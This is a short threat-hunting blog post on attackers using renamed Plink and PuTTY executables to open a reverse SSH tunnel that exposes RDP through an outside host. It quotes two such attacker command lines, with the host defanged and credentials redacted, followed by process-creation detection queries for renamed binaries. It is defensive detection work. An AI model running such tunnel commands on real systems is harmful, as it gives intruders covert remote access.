316. Adversaries Keep Using Plink and Putty to Establish a Reverse SSH Tunnel

Hello everyone!

Let's keep talking about how adversaries misuse various legitimate tools. And this time talk a bit about Protocol Tunneling (T1572).

According to this report, the threat actors leveraged both Plink and Putty to set up an encrypted tunnel:

C:\windows\temp\sihosts.exe -batch -hostkey "ssh-rsa 2048 SHA256:<REDACTED>" -ssh -P 433 -l <REDACTED> -pw <REDACTED> -R 216.107.136[.]46:17400:127.0.0.1:3389 216.107.136[.]46

C:\windows\temp\silcon.exe  -ssh -P 433 -l <REDACTED> -pw <REDACTED>-R 216.107.136[.]46:17400:127.0.0.1:3389 216.107.136[.]46

Yes, we're dealing with renamed executables again, and yes, executables can be renamed legitimately, but it still provides us good hunting oportunities:

event_type: "processcreatewin"

AND

proc_file_originalfilename: "putty"

AND NOT

proc_file_path: "putty.exe"

And the same for Plink:

event_type: "processcreatewin"

AND

proc_file_originalfilename: "plink"

AND NOT

proc_file_path: "plink.exe"

See you tomorrow!

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